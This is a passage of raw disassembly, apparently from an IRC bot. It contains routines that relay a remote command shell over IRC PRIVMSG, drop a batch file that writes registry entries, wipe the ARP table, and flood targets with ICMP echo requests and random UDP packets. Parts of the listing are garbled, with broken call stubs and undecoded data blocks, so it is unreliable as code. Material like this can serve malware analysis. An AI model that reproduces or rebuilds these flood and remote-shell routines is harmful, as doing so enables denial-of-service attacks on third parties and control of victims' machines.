		dd 0D08015FFh, 0F8830041h, 8D1274FFh, 0FFFEA485h, 8068FFh
		dd 0E8500000h, 6A81ECh,	0A4858D5Ch, 50FFFFFEh, 0FDA0858Dh
		dd 8D50FFFFh, 0FFF89C85h, 3A5C68FFh, 0E8500042h, 0A0BAh
		dd 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h, 0B5E850FFh
		dd 14006A81h, 50EC458Dh, 50A8458Dh, 8685656h, 6A000040h
		dd 858D5601h, 0FFFFFC9Ch, 0E8565056h, 6A8194h
		db 86h
; ---------------------------------------------------------------------------


loc_407E6D:				; CODE XREF: .nsp0:00407D5Bj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E71	proc near		; CODE XREF: .nsp0:00409B22p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_412770
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCTempr_bat ; "c:\\tempr.bat"
		push	eax
		movsb
		call	sub_411EEE
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	dword_41D07C	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short near ptr loc_407F2A+1
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	near ptr 0AB0000h
		fcom	qword ptr [edi-1]
		adc	eax, offset dword_41D074
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	near ptr 0AB0000h


loc_407F2A:				; CODE XREF: sub_407E71+55j
		jb	short near ptr loc_407F86+5
		pop	esi
		leave
		retn
sub_407E71	endp


; =============== S U B	R O U T	I N E =======================================



sub_407F2F	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_433B08	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_407F57
		push	[esp+arg_0]
		call	dword_433B4C	; gethostbyname
		test	eax, eax
		jnz	short loc_407F50
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_407F50:				; CODE XREF: sub_407F2F+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_407F57:				; CODE XREF: sub_407F2F+Dj
		retn
sub_407F2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_407F58	proc near		; CODE XREF: sub_40A059+D6p
		mov	ecx, dword_4339F0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_407F66
		call	ecx ; dword_4339F0

locret_407F66:				; CODE XREF: sub_407F58+Aj
		retn
sub_407F58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F67	proc near		; CODE XREF: .nsp0:loc_40EEEAp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx


loc_407F86:				; CODE XREF: sub_407E71:loc_407F2Aj
		call	dword_433B44	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40802D
		sub	ecx, 32h
		jz	loc_408026
		sub	ecx, 48h
		jz	short loc_407FC7
		sub	ecx, 6Eh
		jz	short loc_407FC0


loc_407FA9:				; CODE XREF: sub_407F67+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42529C
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		jmp	short loc_408007
; ---------------------------------------------------------------------------


loc_407FC0:				; CODE XREF: sub_407F67+40j
		push	offset unk_425264
		jmp	short loc_407FF9
; ---------------------------------------------------------------------------


loc_407FC7:				; CODE XREF: sub_407F67+3Bj
		push	[ebp+var_8]
		call	sub_41279F
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_411F70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_407FF4
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_433B44	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40802D
		jmp	short loc_407FA9
; ---------------------------------------------------------------------------


loc_407FF4:				; CODE XREF: sub_407F67+79j
		push	offset unk_425220


loc_407FF9:				; CODE XREF: sub_407F67+5Ej
					; sub_407F67+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_411EEE
		pop	ecx
		pop	ecx


loc_408007:				; CODE XREF: sub_407F67+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_408E17
		pop	ecx


loc_408017:				; CODE XREF: sub_407F67+C8j
					; sub_407F67+DCj
		push	esi
		call	sub_412813
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_408026:				; CODE XREF: sub_407F67+32j
		push	offset unk_4251DC
		jmp	short loc_407FF9
; ---------------------------------------------------------------------------


loc_40802D:				; CODE XREF: sub_407F67+29j
					; sub_407F67+89j
		cmp	[esi], edi
		jbe	short loc_408017
		lea	ebx, [esi+4]


loc_408034:				; CODE XREF: sub_407F67+DAj
		push	ebx
		call	dword_433B40	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_408034
		jmp	short loc_408017
sub_407F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408045	proc near		; CODE XREF: .nsp0:0040252Fp
					; sub_4032B0+4Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_433A6C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_433DFC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_411EEE
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_408045	endp


; =============== S U B	R O U T	I N E =======================================



sub_40809E	proc near		; CODE XREF: .nsp0:004012FEp
					; .nsp0:00401344p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_4080C7
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_4080BA:				; CODE XREF: sub_40809E+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_4080BA
		pop	edi
		jmp	short loc_4080CB
; ---------------------------------------------------------------------------


loc_4080C7:				; CODE XREF: sub_40809E+Aj
		mov	edx, [esp+4+arg_0]


loc_4080CB:				; CODE XREF: sub_40809E+27j
		test	esi, esi
		pop	esi
		jz	short loc_4080D5
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_4080D5:				; CODE XREF: sub_40809E+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40809E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4080EB	proc near		; DATA XREF: .nsp0:0040CC56o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_412770
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_433A54	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_433B08	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_408146
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_433B4C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40814C


loc_408146:				; CODE XREF: sub_4080EB+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_4081A9


loc_40814C:				; CODE XREF: sub_4080EB+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_425320
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40818C
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40F9F1
		add	esp, 14h


loc_40818C:				; CODE XREF: sub_4080EB+7Fj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_408E17
		push	[ebp+var_30]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0AB0000h
		cmc


loc_4081A9:				; CODE XREF: sub_4080EB+5Fj
		cmp	eax, ebx
		jz	short loc_4081B9
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_4081BC
; ---------------------------------------------------------------------------


loc_4081B9:				; CODE XREF: sub_4080EB+C0j
		mov	[ebp+var_4], esi


loc_4081BC:				; CODE XREF: sub_4080EB+CCj
		push	1Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_411F70
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_4081DC
		mov	[ebp+var_3C], eax


loc_4081DC:				; CODE XREF: sub_4080EB+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_4081E4
		mov	[ebp+var_38], edi


loc_4081E4:				; CODE XREF: sub_4080EB+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_408211


loc_4081EB:				; CODE XREF: sub_4080EB+124j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_4339EC	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_4081EB


loc_408211:				; CODE XREF: sub_4080EB+FEj
		push	[ebp+arg_0]
		call	dword_433B80	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_4252E0
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40825A
		push	ebx
		lea	eax, [ebp+var_344]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40F9F1
		add	esp, 14h


loc_40825A:				; CODE XREF: sub_4080EB+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_408E17
		push	[ebp+var_30]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0AB0000h
		dec	ebp
sub_4080EB	endp ; sp-analysis failed



loc_408277:				; DATA XREF: .nsp0:0040CD9Do
		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_412770
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	dword_41D048	; GetTickCount
		push	eax
		call	sub_411F40
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_433B48	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp-0B0h]
		mov	word ptr [ebp-10h], 2
		push	eax
		call	dword_433B08	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jnz	short loc_40835C
		lea	eax, [ebp-0B0h]
		push	eax
		call	dword_433B4C	; gethostbyname
		cmp	eax, edi
		jnz	short near ptr loc_408354+1
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_42539C
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_408338
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_40F9F1
		add	esp, 14h


loc_408338:				; CODE XREF: .nsp0:00408316j
		lea	eax, [ebp-334h]
		push	eax
		call	sub_408E17
		push	dword ptr [ebp-20h]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0AB0000h


loc_408354:				; CODE XREF: .nsp0:004082F6j
		mov	eax, [bx+si+0Ch]
		mov	eax, [eax]
		jmp	short loc_40835F
; ---------------------------------------------------------------------------


loc_40835C:				; CODE XREF: .nsp0:004082E5j
		lea	eax, [ebp+8]


loc_40835F:				; CODE XREF: .nsp0:0040835Aj
		mov	eax, [eax]
		cmp	[ebp-24h], edi
		mov	[ebp-0Ch], eax
		jnz	short loc_40837A
		call	sub_411F4A
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40837D
; ---------------------------------------------------------------------------


loc_40837A:				; CODE XREF: .nsp0:00408367j
		push	dword ptr [ebp-24h]


loc_40837D:				; CODE XREF: .nsp0:00408378j
		call	dword_433AC8	; ntohs
		cmp	[ebp-24h], esi
		mov	[ebp-0Eh], ax
		jge	short loc_40838F
		mov	[ebp-24h], esi


loc_40838F:				; CODE XREF: .nsp0:0040838Aj
		mov	eax, 0FFFFh
		cmp	[ebp-24h], eax
		jle	short loc_40839C
		mov	[ebp-24h], eax


loc_40839C:				; CODE XREF: .nsp0:00408397j
		mov	eax, [ebp-30h]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp-28h], edi
		mov	[ebp-30h], eax
		jnz	short loc_4083B0
		mov	[ebp-28h], esi


loc_4083B0:				; CODE XREF: .nsp0:004083ABj
		xor	esi, esi
		cmp	[ebp-2Ch], edi
		jle	short loc_4083D1


loc_4083B7:				; CODE XREF: .nsp0:004083CFj
		call	sub_411F4A
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp-2Ch]
		mov	[ebp+esi-10311h], dl
		jl	short loc_4083B7


loc_4083D1:				; CODE XREF: .nsp0:004083B5j
					; .nsp0:00408413j ...
		mov	eax, [ebp-30h]
		dec	dword ptr [ebp-30h]
		test	eax, eax
		jle	short loc_408430
		push	0Bh
		pop	esi


loc_4083DE:				; CODE XREF: .nsp0:0040840Ej
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	sub_411F4A
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp-2Ch]
		sub	eax, edx
		push	eax
		lea	eax, [ebp-10310h]
		push	eax
		push	ebx
		call	dword_433B2C	; sendto
		push	dword ptr [ebp-28h]
		call	dword_41D05C	; Sleep
		dec	esi
		jnz	short loc_4083DE
		cmp	[ebp-24h], edi
		jnz	short loc_4083D1
		call	sub_411F4A
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_433AC8	; ntohs
		mov	[ebp-0Eh], ax
		jmp	short loc_4083D1
; ---------------------------------------------------------------------------


loc_408430:				; CODE XREF: .nsp0:004083D9j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-334h]
		push	offset dword_42535C
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp-18h], edi
		jnz	short loc_408470
		push	edi
		lea	eax, [ebp-334h]
		push	dword ptr [ebp-1Ch]
		push	eax
		lea	eax, [ebp-130h]
		push	eax
		push	dword ptr [ebp-134h]
		call	sub_40F9F1
		add	esp, 14h


loc_408470:				; CODE XREF: .nsp0:0040844Ej
		lea	eax, [ebp-334h]
		push	eax
		call	sub_408E17
		push	dword ptr [ebp-20h]
		call	sub_411CB6
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0AB0000h
		lodsb

; =============== S U B	R O U T	I N E =======================================



sub_40848D	proc near		; CODE XREF: sub_4084F5+7Ep
					; .nsp0:loc_408686p
		mov	eax, dword_433E14
		push	esi
		mov	esi, dword_41D074
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4084A1
		push	eax
		call	esi ; dword_41D074


loc_4084A1:				; CODE XREF: sub_40848D+Fj
		mov	eax, dword_433E1C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4084AE
		push	eax
		call	esi ; dword_41D074


loc_4084AE:				; CODE XREF: sub_40848D+1Cj
		mov	eax, dword_433E10
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4084BB
		push	eax
		call	esi ; dword_41D074


loc_4084BB:				; CODE XREF: sub_40848D+29j
		pop	esi
		retn
sub_40848D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084BD	proc near		; CODE XREF: .nsp0:0040E437p

var_17F68A40	= dword	ptr -17F68A40h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_4126F0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_433E18
		call	near ptr 0AB0000h
		test	[ebp+var_17F68A40], 0FFFFFFA1h
		xor	eax, eax
		leave
		retn
sub_4084BD	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084F5	proc near		; CODE XREF: .nsp0:0040864Fp
					; .nsp0:0040866Ep ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_432708
		push	[ebp+arg_4]
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408538
		push	7D0h
		call	dword_41D05C	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_411EEE
		add	esp, 10h
		jmp	short loc_40854F
; ---------------------------------------------------------------------------


loc_408538:				; CODE XREF: sub_4084F5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_411EEE
		add	esp, 0Ch


loc_40854F:				; CODE XREF: sub_4084F5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_433B18	; send
		test	eax, eax
		jg	short loc_408578
		call	sub_40848D


loc_408578:				; CODE XREF: sub_4084F5+7Cj
		xor	eax, eax
		leave
		retn
sub_4084F5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_433E20


loc_408594:				; CODE XREF: .nsp0:004085F5j
					; .nsp0:00408657j
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp-20Ch]
		push	esi
		push	eax
		push	dword_433E14
		call	near ptr 0AB0000h
		xchg	eax, esp
		test	eax, eax
		jz	loc_408662
		cmp	[ebp-4], edi
		jnz	short loc_4085F7
		lea	eax, [ebp-8]
		push	eax
		push	dword_433E10
		call	near ptr 0AB0000h
		xchg	eax, edi
		test	eax, eax
		jz	short loc_4085ED
		cmp	dword ptr [ebp-8], 103h
		jnz	loc_408686


loc_4085ED:				; CODE XREF: .nsp0:004085DEj
		push	0Ah
		call	dword_41D05C	; Sleep
		jmp	short loc_408594
; ---------------------------------------------------------------------------


loc_4085F7:				; CODE XREF: .nsp0:004085CAj
		xor	eax, eax
		cmp	[ebp-4], edi
		jbe	short loc_40860E


loc_4085FE:				; CODE XREF: .nsp0:0040860Cj
		cmp	byte ptr [ebp+eax-20Ch], 0Ah
		jz	short loc_40865C
		inc	eax
		cmp	eax, [ebp-4]
		jb	short loc_4085FE


loc_40860E:				; CODE XREF: .nsp0:004085FCj
		mov	[ebp-4], esi


loc_408611:				; CODE XREF: .nsp0:00408660j
		push	esi
		lea	eax, [ebp-20Ch]
		push	edi
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		lea	eax, [ebp-20Ch]
		push	eax
		push	dword_433E14
		call	dword_41D098	; ReadFile
		test	eax, eax
		jz	short near ptr loc_4086AD+1
		lea	eax, [ebp-20Ch]
		push	eax
		push	ebx
		push	dword_433E54
		call	sub_4084F5
		add	esp, 0Ch
		jmp	loc_408594
; ---------------------------------------------------------------------------


loc_40865C:				; CODE XREF: .nsp0:00408606j
		inc	eax
		mov	[ebp-4], eax
		jmp	short loc_408611
; ---------------------------------------------------------------------------


loc_408662:				; CODE XREF: .nsp0:004085C1j
		push	offset dword_425468
		push	ebx
		push	dword_433E54
		call	sub_4084F5
		push	dword ptr [ebp+8]
		call	sub_411CB6
		add	esp, 10h
		push	1
		call	near ptr 0AB0000h
		scasd


loc_408686:				; CODE XREF: .nsp0:004085E7j
		call	sub_40848D
		push	offset dword_42542C
		push	ebx
		push	dword_433E54
		call	sub_4084F5
		push	dword ptr [ebp+8]
		call	sub_411CB6
		add	esp, 10h
		push	edi
		call	near ptr 0AB0000h


loc_4086AD:				; CODE XREF: .nsp0:0040863Fj
		xchg	ch, [eax-18h]
		push	ebx
		inc	edx
		add	[ebx-1], dl
		xor	eax, offset dword_433E54
		call	sub_4084F5
		push	dword ptr [ebp+8]
		call	sub_411CB6
		add	esp, 10h
		push	edi
		call	near ptr 0AB0000h
		jmp	far ptr	78ECh:81EC8B55h	; CODE XREF: .nsp0:0040EF72p
; ---------------------------------------------------------------------------
		db 3
		dd 56530000h, 0FDABE857h, 0F633FFFFh, 0FE88858Dh, 5056FFFFh
		dd 10468h, 28685600h, 56004255h, 3B8415FFh, 0C0850043h
		dd 0C5840Fh, 16A0000h, 5BE4458Dh, 0D0FC3D8Bh, 50560041h
		dd 0C7F4458Dh, 0CE445h,	8D500000h, 8950F045h, 7589EC5Dh
		dd 85D7FFE8h, 98840FC0h, 8D000000h, 5056E445h, 50F8458Dh
		dd 50FC458Dh, 0C085D7FFh, 81840Fh, 3D8B0000h, 41D0F8h
		dd 5656036Ah, 433E1868h, 50D7FF00h, 0FFF875FFh,	99E850D7h
		dd 42006A78h, 5F74C085h, 458D106Ah, 0E85056D4h,	97F8h
		dd 458D446Ah, 56575F8Ch, 97EAE850h, 458B0000h, 18C483FCh
		dd 8BC44589h, 4589F445h, 0CC4589C8h, 89D4458Dh,	8D508C7Dh
		dd 56508C45h, 56535656h, 432708BBh, 858D5600h, 0FFFFFE88h
		dd 45C75053h, 101B8h, 75896600h, 783AE8BCh, 8539006Ah
		dd 830875C0h, 0AEE9FFC8h, 0FF000000h, 3D8BFC75h, 41D074h
		dd 458BD7FFh, 0D875FFF0h, 433E14A3h, 0F8458B00h, 433E1CA3h
		dd 0D4458B00h, 433E10A3h, 8BD7FF00h, 75390845h,	3E54A30Ch
		dd 5740043h, 0EB0C75FFh, 20685301h, 0E800433Eh,	96D6h
		dd 6A565959h, 54F46807h, 73E80042h, 8B000091h, 0DC4D8BF8h
		dd 234FF69h, 0C4830000h, 608F890Ch, 8D00438Ch, 5651D04Dh
		dd 857C6850h, 56560040h, 0D07015FFh, 0C63B0041h, 8C6C8789h
		dd 27750043h, 0D06C15FFh, 8D500041h, 0FFFC8885h, 54AC68FFh
		dd 0E8500042h, 967Eh, 0FC88858Dh, 0E850FFFFh, 59Bh, 3310C483h
		dd 5B5E5FC0h
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_408886	proc near		; CODE XREF: sub_405787+74p
					; .nsp0:0040F016p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_41D048	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_433E5C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41246A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_408886	endp

; ---------------------------------------------------------------------------
		db 53h
		dd 40BE5756h, 0F000F42h, 3E86831h, 0FA8B0000h, 15FFD88Bh
		dd 41D05Ch, 0C32B310Fh,	0D71B006Ah, 0E8505256h,	0B278h
		dd 0D88BFA8Bh, 0D777FF85h, 0DE3B0472h, 6AD177h,	5357646Ah
		dd 0B1DFE8h, 6ACA8B00h,	8BD23364h, 58C985F0h, 5725B77h
		dd 7350FE83h, 334B6A05h, 0C98558D2h, 5724B77h, 7347FE83h
		dd 33426A05h, 0C98558D2h, 5723B77h, 7337FE83h, 33326A05h
		dd 0C98558D2h, 5722B77h, 7326FE83h, 33216A05h, 0C98558D2h
		dd 5721B77h, 731EFE83h,	33196A05h, 0C98558D2h, 5720B77h
		dd 730AFE83h, 33C03304h, 1BC62BD2h, 13C303D1h, 5B5E5FD7h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089A5	proc near		; CODE XREF: .nsp0:0040F1B3p

var_1137B	= byte ptr -1137Bh
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_432708
		mov	[ebp+var_CC], 94h
		call	dword_41D100	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_408A2C
		cmp	[ebp+var_C4], ebx
		jnz	short loc_408A08
		cmp	[ebp+var_BC], 1
		jnz	short loc_4089F2
		mov	[ebp+var_4], offset a95	; "95"
